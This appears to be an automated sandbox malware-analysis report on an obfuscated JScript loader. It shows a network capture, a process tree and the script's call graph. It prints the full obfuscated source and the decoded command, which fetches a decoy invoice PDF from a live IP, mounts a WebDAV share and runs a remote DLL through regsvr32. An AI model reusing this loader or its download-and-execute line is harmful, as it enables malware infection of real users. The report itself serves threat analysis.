/Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 20:53:47.482758999 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 20:53:47.482772112 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 20:53:47.482784033 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 20:53:47.482795954 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 20:53:47.482808113 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 20:53:47.482837915 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 20:53:47.482848883 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 20:53:47.482868910 CET	448	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 20:53:47.482881069 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 10, 2025 20:53:47.482901096 CET	1116	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49742	193.143.1.205	8888	1080	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:53:48.780767918 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 20:53:49.550671101 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:53:49 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	14:53:42
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\533625797193620143.js"
Imagebase:	0x7ff612d00000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:53:42
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll
Imagebase:	0x7ff7a8fc0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:53:43
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:53:43
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:53:47
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	14:53:47
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7a8fc0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:53:47
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7045e0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:53:48
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	14:53:48
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff66e660000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	14:53:48
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1544,i,201057173347736975,16935807668665413963,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function mlalqpc() {	mlalqpc() ➔ undefined
1	wjtnbv = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var jhwnbf = this[xmxvhoj + qphqmco + ehfxkceu + xtkmdhkbr + qqwxb + hyhyml + llpicw + mjoya] ( this[cpueajrv + oydjlaoi + urnwscajd + ehfxkceu + cfpqhsj + xmxvhoj + mjoya][bmdhasp + ehfxkceu + qqwxb + qphqmco + mjoya + qqwxb + rufyaxs + zekgf + eqkcnnjij + qqwxb + urnwscajd + mjoya] ( cpueajrv + oydjlaoi + urnwscajd + ehfxkceu + cfpqhsj + xmxvhoj + mjoya + gowerfp + oydjlaoi + slgewlrvj + qqwxb + lnjih + lnjih ) [lfgazrtm + qqwxb + jpfzf + lfgazrtm + qqwxb + qphqmco + pqoyj] ( mmsfw + tlmazxtjp + qhhgzu + tnunjzb + cmlksv + bmdhasp + zonfwffk + lfgazrtm + lfgazrtm + qhhgzu + awclmrt + tkbmn + cmlksv + zonfwffk + oydjlaoi + qhhgzu + lfgazrtm + bzhwkkpj + bmdhasp + ctasyygdj + llpicw + mjoya + ehfxkceu + ctasyygdj + lnjih + oekvw + vmffspvfq + qphqmco + llpicw + qqwxb + lnjih + bzhwkkpj + hyhyml + llpicw + mjoya + qqwxb + ehfxkceu + llpicw + qphqmco + mjoya + cfpqhsj + ctasyygdj + llpicw + qphqmco + lnjih + bzhwkkpj + amrrzz + ctasyygdj + urnwscajd + qphqmco + lnjih + qqwxb ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ikrtai = 0 ; ikrtai < wjtnbv[lnjih + qqwxb + llpicw + jpfzf + mjoya + slgewlrvj] ; ++ ikrtai )
4	{
5	if ( jhwnbf == wjtnbv[ikrtai] )
6	{
7	jhwnbf = true;
8	break ;
9	}
10	}
11	if ( jhwnbf !== true )
12	this[cpueajrv + oydjlaoi + urnwscajd + ehfxkceu + cfpqhsj + xmxvhoj + mjoya][xcraq + whcmgiut + cfpqhsj + mjoya] ( );
13	this[cpueajrv + oydjlaoi + urnwscajd + ehfxkceu + cfpqhsj + xmxvhoj + mjoya][bmdhasp + ehfxkceu + qqwxb + qphqmco + mjoya + qqwxb + rufyaxs + zekgf + eqkcnnjij + qqwxb + urnwscajd + mjoya] ( cpueajrv + oydjlaoi + urnwscajd + ehfxkceu + cfpqhsj + xmxvhoj + mjoya + gowerfp + oydjlaoi + slgewlrvj + qqwxb + lnjih + lnjih ) [ehfxkceu + whcmgiut + llpicw] ( urnwscajd + ivnsa + pqoyj + oekvw + forfvzko + urnwscajd + oekvw + xmxvhoj + ctasyygdj + gqgelbei + qqwxb + ehfxkceu + xtkmdhkbr + slgewlrvj + qqwxb + lnjih + lnjih + gowerfp + qqwxb + upqmbpdpc + qqwxb + oekvw + awrrn + bmdhasp + ctasyygdj + ivnsa + ivnsa + qphqmco + llpicw + pqoyj + oekvw + eciik + hyhyml + llpicw + sxmsqt + ctasyygdj + zjxzgyim + qqwxb + awrrn + cpueajrv + qqwxb + zekgf + lfgazrtm + qqwxb + axdqwn + whcmgiut + qqwxb + xtkmdhkbr + mjoya + oekvw + awrrn + rufyaxs + whcmgiut + mjoya + qtsaqmxvj + cfpqhsj + lnjih + qqwxb + oekvw + ssmfmjc + mjoya + qqwxb + ivnsa + xmxvhoj + ssmfmjc + bzhwkkpj + cfpqhsj + llpicw + sxmsqt + ctasyygdj + cfpqhsj + urnwscajd + qqwxb + gowerfp + xmxvhoj + pqoyj + pkazwm + oekvw + slgewlrvj + mjoya + mjoya + xmxvhoj + bmwtmo + forfvzko + forfvzko + jsewhk + comixe + kdmhg + gowerfp + jsewhk + aucfr + kdmhg + gowerfp + jsewhk + gowerfp + enbesulup + bdihwr + emfwrmgo + forfvzko + cfpqhsj + llpicw + sxmsqt + ctasyygdj + cfpqhsj + urnwscajd + qqwxb + gowerfp + xmxvhoj + slgewlrvj + xmxvhoj + eciik + phhohdxuh + phhohdxuh + xtkmdhkbr + mjoya + qphqmco + ehfxkceu + mjoya + oekvw + ssmfmjc + mjoya + qqwxb + ivnsa + xmxvhoj + ssmfmjc + bzhwkkpj + cfpqhsj + llpicw + sxmsqt + ctasyygdj + cfpqhsj + urnwscajd + qqwxb + gowerfp + xmxvhoj + pqoyj + pkazwm + phhohdxuh + phhohdxuh + urnwscajd + ivnsa + pqoyj + oekvw + forfvzko + urnwscajd + oekvw + llpicw + qqwxb + mjoya + oekvw + whcmgiut + xtkmdhkbr + qqwxb + oekvw + bzhwkkpj + bzhwkkpj + jsewhk + comixe + kdmhg + gowerfp + jsewhk + aucfr + kdmhg + gowerfp + jsewhk + gowerfp + enbesulup + bdihwr + emfwrmgo + rbbbqn + igekojk + igekojk + igekojk + igekojk + bzhwkkpj + pqoyj + qphqmco + sxmsqt + gqgelbei + gqgelbei + gqgelbei + ehfxkceu + ctasyygdj + ctasyygdj + mjoya + bzhwkkpj + phhohdxuh + phhohdxuh + urnwscajd + ivnsa + pqoyj + oekvw + forfvzko + urnwscajd + oekvw + ehfxkceu + qqwxb + jpfzf + xtkmdhkbr + sxmsqt + ehfxkceu + kdmhg + enbesulup + oekvw + forfvzko + xtkmdhkbr + oekvw + bzhwkkpj + bzhwkkpj + jsewhk + comixe + kdmhg + gowerfp + jsewhk + aucfr + kdmhg + gowerfp + jsewhk + gowerfp + enbesulup + bdihwr + emfwrmgo + rbbbqn + igekojk + igekojk + igekojk + igekojk + bzhwkkpj + pqoyj + qphqmco + sxmsqt + gqgelbei + gqgelbei + gqgelbei + ehfxkceu + ctasyygdj + ctasyygdj + mjoya + bzhwkkpj + jsewhk + bhkzu + jsewhk + jsewhk + igekojk + enbesulup + krudb + bhkzu + bhkzu + jsewhk + jsewhk + kdmhg + bhkzu + krudb + emfwrmgo + gowerfp + pqoyj + lnjih + lnjih, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll",0,false) ➔ 0
14	}
15	jsewhk = "t";
16	jsewhk = "m";
17	jsewhk = "W";
18	jsewhk = "G";
19	jsewhk = "E";
20	jsewhk = "i";
21	jsewhk = "g";
22	jsewhk = "T";
23	jsewhk = "J";
24	jsewhk = "K";
25	jsewhk = "Y";
26	jsewhk = "W";
27	jsewhk = "l";
28	jsewhk = "c";
29	jsewhk = "P";
30	jsewhk = "T";
31	jsewhk = "R";
32	jsewhk = "D";
33	jsewhk = "P";
34	jsewhk = "K";
35	jsewhk = "i";
36	jsewhk = "U";
37	jsewhk = "1";
38	amrrzz = "J";
39	amrrzz = "A";
40	amrrzz = "f";
41	amrrzz = "I";
42	amrrzz = "D";
43	amrrzz = "r";
44	amrrzz = "G";
45	amrrzz = "l";
46	amrrzz = "T";
47	amrrzz = "L";
48	amrrzz = "K";
49	amrrzz = "W";
50	amrrzz = "I";
51	amrrzz = "D";
52	amrrzz = "P";
53	amrrzz = "h";
54	amrrzz = "J";
55	amrrzz = "J";
56	amrrzz = "p";
57	amrrzz = "I";
58	amrrzz = "a";
59	amrrzz = "g";
60	amrrzz = "v";
61	amrrzz = "C";
62	amrrzz = "X";
63	amrrzz = "k";
64	amrrzz = "B";
65	amrrzz = "h";
66	amrrzz = "q";
67	amrrzz = "B";
68	amrrzz = "T";
69	amrrzz = "L";
70	bmdhasp = "N";
71	bmdhasp = "v";
72	bmdhasp = "c";
73	bmdhasp = "g";
74	bmdhasp = "I";
75	bmdhasp = "a";
76	bmdhasp = "e";
77	bmdhasp = "n";
78	bmdhasp = "Q";
79	bmdhasp = "C";
80	bmdhasp = "I";
81	bmdhasp = "S";
82	bmdhasp = "Z";
83	bmdhasp = "X";
84	bmdhasp = "N";
85	bmdhasp = "b";
86	bmdhasp = "r";
87	bmdhasp = "n";
88	bmdhasp = "b";
89	bmdhasp = "C";
90	kdmhg = "j";
91	kdmhg = "z";
92	kdmhg = "s";
93	kdmhg = "o";
94	kdmhg = "G";
95	kdmhg = "o";
96	kdmhg = "r";
97	kdmhg = "b";
98	kdmhg = "T";
99	kdmhg = "f";
100	kdmhg = "s";
101	kdmhg = "r";
102	kdmhg = "H";
103	kdmhg = "i";
104	kdmhg = "v";
105	kdmhg = "C";
106	kdmhg = "V";
107	kdmhg = "A";
108	kdmhg = "e";
109	kdmhg = "h";
110	kdmhg = "I";
111	kdmhg = "h";
112	kdmhg = "l";
113	kdmhg = "n";
114	kdmhg = "q";
115	kdmhg = "t";
116	kdmhg = "T";
117	kdmhg = "D";
118	kdmhg = "g";
119	kdmhg = "w";
120	kdmhg = "Q";
121	kdmhg = "x";
122	kdmhg = "3";
123	bzhwkkpj = "Y";
124	bzhwkkpj = "h";
125	bzhwkkpj = "i";
126	bzhwkkpj = "p";
127	bzhwkkpj = "I";
128	bzhwkkpj = "O";
129	bzhwkkpj = "g";
130	bzhwkkpj = "z";
131	bzhwkkpj = "f";
132	bzhwkkpj = "H";
133	bzhwkkpj = "x";
134	bzhwkkpj = "E";
135	bzhwkkpj = "M";
136	bzhwkkpj = "U";
137	bzhwkkpj = "O";
138	bzhwkkpj = "s";
139	bzhwkkpj = "I";
140	bzhwkkpj = "Y";
141	bzhwkkpj = "X";
142	bzhwkkpj = "\\";
143	whcmgiut = "m";
144	whcmgiut = "q";
145	whcmgiut = "k";
146	whcmgiut = "h";
147	whcmgiut = "M";
148	whcmgiut = "w";
149	whcmgiut = "G";
150	whcmgiut = "f";
151	whcmgiut = "g";
152	whcmgiut = "R";
153	whcmgiut = "w";
154	whcmgiut = "P";
155	whcmgiut = "o";
156	whcmgiut = "r";
157	whcmgiut = "b";
158	whcmgiut = "M";
159	whcmgiut = "F";
160	whcmgiut = "Q";
161	whcmgiut = "l";
162	whcmgiut = "c";
163	whcmgiut = "K";
164	whcmgiut = "F";
165	whcmgiut = "C";
166	whcmgiut = "z";
167	whcmgiut = "D";
168	whcmgiut = "b";
169	whcmgiut = "y";
170	whcmgiut = "u";
171	gqgelbei = "z";
172	gqgelbei = "s";
173	gqgelbei = "w";
174	gqgelbei = "X";
175	gqgelbei = "y";
176	gqgelbei = "L";
177	gqgelbei = "a";
178	gqgelbei = "g";
179	gqgelbei = "w";
180	sxmsqt = "K";
181	sxmsqt = "o";
182	sxmsqt = "U";
183	sxmsqt = "t";
184	sxmsqt = "t";
185	sxmsqt = "A";
186	sxmsqt = "v";
187	llpicw = "A";
188	llpicw = "A";
189	llpicw = "i";
190	llpicw = "Q";
191	llpicw = "y";
192	llpicw = "e";
193	llpicw = "G";
194	llpicw = "o";
195	llpicw = "E";
196	llpicw = "x";
197	llpicw = "p";
198	llpicw = "M";
199	llpicw = "Z";
200	llpicw = "i";
201	llpicw = "C";
202	llpicw = "N";
203	llpicw = "R";
204	llpicw = "a";
205	llpicw = "M";
206	llpicw = "w";
207	llpicw = "g";
208	llpicw = "n";
209	jpfzf = "m";
210	jpfzf = "D";
211	jpfzf = "D";
212	jpfzf = "H";
213	jpfzf = "b";
214	jpfzf = "B";
215	jpfzf = "Z";
216	jpfzf = "v";
217	jpfzf = "x";
218	jpfzf = "y";
219	jpfzf = "w";
220	jpfzf = "M";
221	jpfzf = "U";
222	jpfzf = "H";
223	jpfzf = "h";
224	jpfzf = "a";
225	jpfzf = "y";
226	jpfzf = "F";
227	jpfzf = "g";
228	jpfzf = "J";
229	jpfzf = "Z";
230	jpfzf = "Z";
231	jpfzf = "V";
232	jpfzf = "g";
233	jpfzf = "D";
234	jpfzf = "M";
235	jpfzf = "h";
236	jpfzf = "p";
237	jpfzf = "g";
238	jpfzf = "c";
239	jpfzf = "y";
240	jpfzf = "f";
241	jpfzf = "s";
242	jpfzf = "H";
243	jpfzf = "k";
244	jpfzf = "b";
245	jpfzf = "I";
246	jpfzf = "D";
247	jpfzf = "N";
248	jpfzf = "G";
249	jpfzf = "g";
250	ssmfmjc = "p";
251	ssmfmjc = "l";
252	ssmfmjc = "J";
253	ssmfmjc = "Y";
254	ssmfmjc = "B";
255	ssmfmjc = "j";
256	ssmfmjc = "%";
257	cmlksv = "P";
258	cmlksv = "t";
259	cmlksv = "d";
260	cmlksv = "R";
261	cmlksv = "U";
262	cmlksv = "r";
263	cmlksv = "m";
264	cmlksv = "_";
265	forfvzko = "p";
266	forfvzko = "H";
267	forfvzko = "J";
268	forfvzko = "Z";
269	forfvzko = "v";
270	forfvzko = "b";
271	forfvzko = "p";
272	forfvzko = "u";
273	forfvzko = "t";
274	forfvzko = "E";
275	forfvzko = "l";
276	forfvzko = "h";
277	forfvzko = "J";
278	forfvzko = "/";
279	pqoyj = "B";
280	pqoyj = "l";
281	pqoyj = "h";
282	pqoyj = "i";
283	pqoyj = "M";
284	pqoyj = "b";
285	pqoyj = "U";
286	pqoyj = "V";
287	pqoyj = "C";
288	pqoyj = "q";
289	pqoyj = "I";
290	pqoyj = "x";
291	pqoyj = "d";
292	urnwscajd = "V";
293	urnwscajd = "s";
294	urnwscajd = "u";
295	urnwscajd = "S";
296	urnwscajd = "a";
297	urnwscajd = "W";
298	urnwscajd = "W";
299	urnwscajd = "x";
300	urnwscajd = "B";
301	urnwscajd = "u";
302	urnwscajd = "W";
303	urnwscajd = "r";
304	urnwscajd = "e";
305	urnwscajd = "J";
306	urnwscajd = "p";
307	urnwscajd = "k";
308	urnwscajd = "g";
309	urnwscajd = "y";
310	urnwscajd = "v";
311	urnwscajd = "a";
312	urnwscajd = "M";
313	urnwscajd = "e";
314	urnwscajd = "U";
315	urnwscajd = "m";
316	urnwscajd = "n";
317	urnwscajd = "S";
318	urnwscajd = "y";
319	urnwscajd = "c";
320	zonfwffk = "t";
321	zonfwffk = "G";
322	zonfwffk = "j";
323	zonfwffk = "R";
324	zonfwffk = "y";
325	zonfwffk = "I";
326	zonfwffk = "g";
327	zonfwffk = "o";
328	zonfwffk = "v";
329	zonfwffk = "q";
330	zonfwffk = "h";
331	zonfwffk = "Q";
332	zonfwffk = "t";
333	zonfwffk = "U";
334	rufyaxs = "d";
335	rufyaxs = "Q";
336	rufyaxs = "I";
337	rufyaxs = "D";
338	rufyaxs = "J";
339	rufyaxs = "A";
340	rufyaxs = "B";
341	rufyaxs = "s";
342	rufyaxs = "g";
343	rufyaxs = "w";
344	rufyaxs = "B";
345	rufyaxs = "a";
346	rufyaxs = "Z";
347	rufyaxs = "g";
348	rufyaxs = "g";
349	rufyaxs = "N";
350	rufyaxs = "D";
351	rufyaxs = "V";
352	rufyaxs = "C";
353	rufyaxs = "h";
354	rufyaxs = "h";
355	rufyaxs = "b";
356	rufyaxs = "q";
357	rufyaxs = "F";
358	rufyaxs = "i";
359	rufyaxs = "h";
360	rufyaxs = "I";
361	rufyaxs = "H";
362	rufyaxs = "V";
363	rufyaxs = "b";
364	rufyaxs = "p";
365	rufyaxs = "T";
366	rufyaxs = "j";
367	rufyaxs = "q";
368	rufyaxs = "j";
369	rufyaxs = "R";
370	rufyaxs = "O";
371	zjxzgyim = "o";
372	zjxzgyim = "w";
373	zjxzgyim = "r";
374	zjxzgyim = "b";
375	zjxzgyim = "n";
376	zjxzgyim = "U";
377	zjxzgyim = "B";
378	zjxzgyim = "Z";
379	zjxzgyim = "D";
380	zjxzgyim = "q";
381	zjxzgyim = "j";
382	zjxzgyim = "J";
383	zjxzgyim = "T";
384	zjxzgyim = "L";
385	zjxzgyim = "s";
386	zjxzgyim = "e";
387	zjxzgyim = "I";
388	zjxzgyim = "k";
389	krudb = "f";
390	krudb = "n";
391	krudb = "O";
392	krudb = "A";
393	krudb = "k";
394	krudb = "u";
395	krudb = "L";
396	krudb = "E";
397	krudb = "q";
398	krudb = "O";
